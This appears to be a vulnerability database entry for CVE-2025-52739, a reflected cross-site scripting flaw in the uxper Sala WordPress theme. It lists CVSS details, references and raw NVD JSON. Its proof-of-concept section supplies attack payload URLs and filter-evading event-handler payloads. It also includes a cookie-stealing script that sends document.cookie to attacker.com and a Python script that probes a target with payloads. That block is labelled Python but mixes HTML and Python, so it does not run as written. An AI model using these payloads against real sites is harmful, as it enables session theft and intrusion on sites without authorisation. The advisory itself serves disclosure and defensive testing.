CVE-2025-52739

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in uxper Sala allows Reflected XSS.This issue affects Sala: from n/a through 1.1.3.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

uxper Sala <= 1.1.3（所有版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-52739 PoC - Reflected XSS in uxper Sala theme -->
<!-- This PoC demonstrates the reflected XSS vulnerability in Sala theme -->

<!-- Basic PoC - Inject alert script -->
PoC URL:
[BASE_URL]/?[VULNERABLE_PARAM]=%3Cscript%3Ealert(document.domain)%3C/script%3E

<!-- Example with common WordPress parameters -->
PoC URL Example:
http://target-site.com/?s=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://target-site.com/?search=%3Cscript%3Ealert('XSS')%3C/script%3E
http://target-site.com/?page_id=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E

<!-- Event handler based PoC (bypasses some filters) -->
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.cookie)>
<body onload=alert('XSS')>

<!-- Cookie stealing PoC -->
<script>
  fetch('https://attacker.com/steal?cookie='+document.cookie);
</script>

<!-- Automated testing with Python -->
import requests

target = 'http://target-site.com'
payloads = [
    '<script>alert(1)</script>',
    '<img src=x onerror=alert(1)>',
    '<svg onload=alert(1)>',
    '" onmouseover=alert(1) "'
]

for payload in payloads:
    params = {'s': payload}  # Common search parameter
    response = requests.get(target, params=params)
    if payload in response.text:
        print(f'[+] Vulnerable! Payload: {payload}')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52739
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52739
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52739/
[4] VulDB https://vuldb.com/cve/CVE-2025-52739
[5] https://patchstack.com/database/wordpress/theme/sala/vulnerability/wordpress-sala-theme-1-1-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-52739", "sourceIdentifier": "[email protected]", "published": "2025-12-31T20:15:42.937", "lastModified": "2026-04-28T19:33:24.023", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in uxper Sala allows Reflected XSS.This issue affects Sala: from n/a through 1.1.3."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en uxper Sala permite XSS Reflejado. Este problema afecta a Sala: desde n/a hasta 1.1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/theme/sala/vulnerability/wordpress-sala-theme-1-1-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}